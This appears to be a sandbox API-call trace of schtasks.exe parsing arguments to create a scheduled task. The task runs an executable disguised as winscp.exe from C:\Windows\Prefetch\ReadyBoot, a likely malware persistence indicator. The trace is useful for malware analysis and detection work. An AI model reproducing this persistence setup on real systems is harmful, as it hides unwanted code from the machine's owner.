[0078.842] lstrlenW (lpString="5") returned 1 [0078.842] lstrlenW (lpString="5") returned 1 [0078.842] GetProcessHeap () returned 0x3f0000 [0078.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x4) returned 0x405510 [0078.842] SetLastError (dwErrCode=0x0) [0078.842] SetLastError (dwErrCode=0x0) [0078.842] lstrlenW (lpString="/tr") returned 3 [0078.842] lstrlenW (lpString="-/") returned 2 [0078.842] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.842] lstrlenW (lpString="create") returned 6 [0078.842] lstrlenW (lpString="create") returned 6 [0078.843] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] lstrlenW (lpString="tr") returned 2 [0078.843] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.843] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.843] lstrlenW (lpString="|create|") returned 8 [0078.843] lstrlenW (lpString="|tr|") returned 4 [0078.843] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0078.843] SetLastError (dwErrCode=0x490) [0078.843] lstrlenW (lpString="?") returned 1 [0078.843] lstrlenW (lpString="?") returned 1 [0078.843] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] lstrlenW (lpString="tr") returned 2 [0078.843] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|?|") returned 3 [0078.843] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.843] lstrlenW (lpString="|?|") returned 3 [0078.843] lstrlenW (lpString="|tr|") returned 4 [0078.843] SetLastError (dwErrCode=0x490) [0078.843] lstrlenW (lpString="s") returned 1 [0078.843] lstrlenW (lpString="s") returned 1 [0078.843] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] lstrlenW (lpString="tr") returned 2 [0078.843] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.843] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|s|") returned 3 [0078.843] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.843] lstrlenW (lpString="|s|") returned 3 [0078.843] lstrlenW (lpString="|tr|") returned 4 [0078.843] SetLastError (dwErrCode=0x490) [0078.844] lstrlenW (lpString="u") returned 1 [0078.844] lstrlenW (lpString="u") returned 1 [0078.844] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] lstrlenW (lpString="tr") returned 2 [0078.844] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|u|") returned 3 [0078.844] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.844] lstrlenW (lpString="|u|") returned 3 [0078.844] lstrlenW (lpString="|tr|") returned 4 [0078.844] SetLastError (dwErrCode=0x490) [0078.844] lstrlenW (lpString="p") returned 1 [0078.844] lstrlenW (lpString="p") returned 1 [0078.844] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] lstrlenW (lpString="tr") returned 2 [0078.844] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|p|") returned 3 [0078.844] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.844] lstrlenW (lpString="|p|") returned 3 [0078.844] lstrlenW (lpString="|tr|") returned 4 [0078.844] SetLastError (dwErrCode=0x490) [0078.844] lstrlenW (lpString="ru") returned 2 [0078.844] lstrlenW (lpString="ru") returned 2 [0078.844] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] lstrlenW (lpString="tr") returned 2 [0078.844] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.844] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ru|") returned 4 [0078.844] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.844] lstrlenW (lpString="|ru|") returned 4 [0078.844] lstrlenW (lpString="|tr|") returned 4 [0078.845] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0078.845] SetLastError (dwErrCode=0x490) [0078.845] lstrlenW (lpString="rp") returned 2 [0078.845] lstrlenW (lpString="rp") returned 2 [0078.845] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] lstrlenW (lpString="tr") returned 2 [0078.845] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|rp|") returned 4 [0078.845] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.845] lstrlenW (lpString="|rp|") returned 4 [0078.845] lstrlenW (lpString="|tr|") returned 4 [0078.845] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0078.845] SetLastError (dwErrCode=0x490) [0078.845] lstrlenW (lpString="sc") returned 2 [0078.845] lstrlenW (lpString="sc") returned 2 [0078.845] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] lstrlenW (lpString="tr") returned 2 [0078.845] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.845] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.845] lstrlenW (lpString="|sc|") returned 4 [0078.845] lstrlenW (lpString="|tr|") returned 4 [0078.845] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0078.845] SetLastError (dwErrCode=0x490) [0078.845] lstrlenW (lpString="mo") returned 2 [0078.845] lstrlenW (lpString="mo") returned 2 [0078.845] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] lstrlenW (lpString="tr") returned 2 [0078.845] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.845] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.846] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.846] lstrlenW (lpString="|mo|") returned 4 [0078.846] lstrlenW (lpString="|tr|") returned 4 [0078.846] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0078.846] SetLastError (dwErrCode=0x490) [0078.846] lstrlenW (lpString="d") returned 1 [0078.846] lstrlenW (lpString="d") returned 1 [0078.846] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.846] lstrlenW (lpString="tr") returned 2 [0078.846] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.846] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|d|") returned 3 [0078.846] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.846] lstrlenW (lpString="|d|") returned 3 [0078.846] lstrlenW (lpString="|tr|") returned 4 [0078.846] SetLastError (dwErrCode=0x490) [0078.846] lstrlenW (lpString="m") returned 1 [0078.846] lstrlenW (lpString="m") returned 1 [0078.846] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.846] lstrlenW (lpString="tr") returned 2 [0078.846] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.846] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|m|") returned 3 [0078.846] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.846] lstrlenW (lpString="|m|") returned 3 [0078.846] lstrlenW (lpString="|tr|") returned 4 [0078.846] SetLastError (dwErrCode=0x490) [0078.846] lstrlenW (lpString="i") returned 1 [0078.846] lstrlenW (lpString="i") returned 1 [0078.846] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.846] lstrlenW (lpString="tr") returned 2 [0078.846] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.847] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|i|") returned 3 [0078.847] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.847] lstrlenW (lpString="|i|") returned 3 [0078.847] lstrlenW (lpString="|tr|") returned 4 [0078.847] SetLastError (dwErrCode=0x490) [0078.847] lstrlenW (lpString="tn") returned 2 [0078.847] lstrlenW (lpString="tn") returned 2 [0078.847] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.847] lstrlenW (lpString="tr") returned 2 [0078.847] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.847] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.847] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.847] lstrlenW (lpString="|tn|") returned 4 [0078.847] lstrlenW (lpString="|tr|") returned 4 [0078.847] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0078.847] SetLastError (dwErrCode=0x490) [0078.851] lstrlenW (lpString="tr") returned 2 [0078.852] lstrlenW (lpString="tr") returned 2 [0078.852] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.852] lstrlenW (lpString="tr") returned 2 [0078.852] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.852] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.852] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tr|") returned 4 [0078.852] lstrlenW (lpString="|tr|") returned 4 [0078.852] lstrlenW (lpString="|tr|") returned 4 [0078.852] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0078.852] SetLastError (dwErrCode=0x0) [0078.852] SetLastError (dwErrCode=0x0) [0078.852] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.852] lstrlenW (lpString="-/") returned 2 [0078.852] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0078.852] SetLastError (dwErrCode=0x490) [0078.852] SetLastError (dwErrCode=0x490) [0078.852] SetLastError (dwErrCode=0x0) [0078.852] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.852] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0078.852] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.852] _memicmp (_Buf1=0x40c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.852] _memicmp (_Buf1=0x40d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.853] SetLastError (dwErrCode=0x7a) [0078.853] SetLastError (dwErrCode=0x0) [0078.853] SetLastError (dwErrCode=0x0) [0078.853] lstrlenW (lpString="'C") returned 2 [0078.853] lstrlenW (lpString="-/") returned 2 [0078.853] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0078.853] SetLastError (dwErrCode=0x490) [0078.853] SetLastError (dwErrCode=0x490) [0078.853] SetLastError (dwErrCode=0x0) [0078.853] _memicmp (_Buf1=0x40d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.853] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.853] GetProcessHeap () returned 0x3f0000 [0078.853] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d680) returned 1 [0078.853] GetProcessHeap () returned 0x3f0000 [0078.853] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40d680, Size=0x56) returned 0x40c370 [0078.853] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.853] lstrlenW (lpString=" \x09") returned 2 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0078.853] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0078.854] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0078.855] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0078.855] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0078.855] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0078.855] GetLastError () returned 0x0 [0078.855] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.855] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.855] SetLastError (dwErrCode=0x0) [0078.855] SetLastError (dwErrCode=0x0) [0078.855] lstrlenW (lpString="/f") returned 2 [0078.855] lstrlenW (lpString="-/") returned 2 [0078.855] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.855] lstrlenW (lpString="create") returned 6 [0078.855] lstrlenW (lpString="create") returned 6 [0078.855] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.855] lstrlenW (lpString="f") returned 1 [0078.855] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.855] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.855] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.855] lstrlenW (lpString="|create|") returned 8 [0078.855] lstrlenW (lpString="|f|") returned 3 [0078.855] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0078.855] SetLastError (dwErrCode=0x490) [0078.855] lstrlenW (lpString="?") returned 1 [0078.855] lstrlenW (lpString="?") returned 1 [0078.855] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.855] lstrlenW (lpString="f") returned 1 [0078.855] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.855] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|?|") returned 3 [0078.856] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.856] lstrlenW (lpString="|?|") returned 3 [0078.856] lstrlenW (lpString="|f|") returned 3 [0078.856] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0078.856] SetLastError (dwErrCode=0x490) [0078.856] lstrlenW (lpString="s") returned 1 [0078.856] lstrlenW (lpString="s") returned 1 [0078.856] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.856] lstrlenW (lpString="f") returned 1 [0078.856] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.856] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|s|") returned 3 [0078.856] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.856] lstrlenW (lpString="|s|") returned 3 [0078.856] lstrlenW (lpString="|f|") returned 3 [0078.856] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0078.856] SetLastError (dwErrCode=0x490) [0078.856] lstrlenW (lpString="u") returned 1 [0078.856] lstrlenW (lpString="u") returned 1 [0078.856] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.856] lstrlenW (lpString="f") returned 1 [0078.856] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.856] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|u|") returned 3 [0078.856] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.856] lstrlenW (lpString="|u|") returned 3 [0078.856] lstrlenW (lpString="|f|") returned 3 [0078.856] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0078.856] SetLastError (dwErrCode=0x490) [0078.856] lstrlenW (lpString="p") returned 1 [0078.856] lstrlenW (lpString="p") returned 1 [0078.856] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] lstrlenW (lpString="f") returned 1 [0078.857] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|p|") returned 3 [0078.857] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.857] lstrlenW (lpString="|p|") returned 3 [0078.857] lstrlenW (lpString="|f|") returned 3 [0078.857] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0078.857] SetLastError (dwErrCode=0x490) [0078.857] lstrlenW (lpString="ru") returned 2 [0078.857] lstrlenW (lpString="ru") returned 2 [0078.857] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] lstrlenW (lpString="f") returned 1 [0078.857] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ru|") returned 4 [0078.857] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.857] lstrlenW (lpString="|ru|") returned 4 [0078.857] lstrlenW (lpString="|f|") returned 3 [0078.857] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0078.857] SetLastError (dwErrCode=0x490) [0078.857] lstrlenW (lpString="rp") returned 2 [0078.857] lstrlenW (lpString="rp") returned 2 [0078.857] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] lstrlenW (lpString="f") returned 1 [0078.857] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.857] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|rp|") returned 4 [0078.857] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.857] lstrlenW (lpString="|rp|") returned 4 [0078.857] lstrlenW (lpString="|f|") returned 3 [0078.857] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0078.857] SetLastError (dwErrCode=0x490) [0078.857] lstrlenW (lpString="sc") returned 2 [0078.858] lstrlenW (lpString="sc") returned 2 [0078.858] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] lstrlenW (lpString="f") returned 1 [0078.858] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.858] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.858] lstrlenW (lpString="|sc|") returned 4 [0078.858] lstrlenW (lpString="|f|") returned 3 [0078.858] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0078.858] SetLastError (dwErrCode=0x490) [0078.858] lstrlenW (lpString="mo") returned 2 [0078.858] lstrlenW (lpString="mo") returned 2 [0078.858] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] lstrlenW (lpString="f") returned 1 [0078.858] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.858] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.858] lstrlenW (lpString="|mo|") returned 4 [0078.858] lstrlenW (lpString="|f|") returned 3 [0078.858] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0078.858] SetLastError (dwErrCode=0x490) [0078.858] lstrlenW (lpString="d") returned 1 [0078.858] lstrlenW (lpString="d") returned 1 [0078.858] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] lstrlenW (lpString="f") returned 1 [0078.858] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.858] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|d|") returned 3 [0078.858] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.858] lstrlenW (lpString="|d|") returned 3 [0078.859] lstrlenW (lpString="|f|") returned 3 [0078.859] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0078.859] SetLastError (dwErrCode=0x490) [0078.859] lstrlenW (lpString="m") returned 1 [0078.859] lstrlenW (lpString="m") returned 1 [0078.859] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] lstrlenW (lpString="f") returned 1 [0078.859] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|m|") returned 3 [0078.859] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.859] lstrlenW (lpString="|m|") returned 3 [0078.859] lstrlenW (lpString="|f|") returned 3 [0078.859] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0078.859] SetLastError (dwErrCode=0x490) [0078.859] lstrlenW (lpString="i") returned 1 [0078.859] lstrlenW (lpString="i") returned 1 [0078.859] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] lstrlenW (lpString="f") returned 1 [0078.859] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|i|") returned 3 [0078.859] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|f|") returned 3 [0078.859] lstrlenW (lpString="|i|") returned 3 [0078.859] lstrlenW (lpString="|f|") returned 3 [0078.859] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0078.859] SetLastError (dwErrCode=0x490) [0078.859] lstrlenW (lpString="tn") returned 2 [0078.859] lstrlenW (lpString="tn") returned 2 [0078.859] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] lstrlenW (lpString="f") returned 1 [0078.859] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.859] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.860] _vsnwprintf (in: _Buffer=0x40c320, 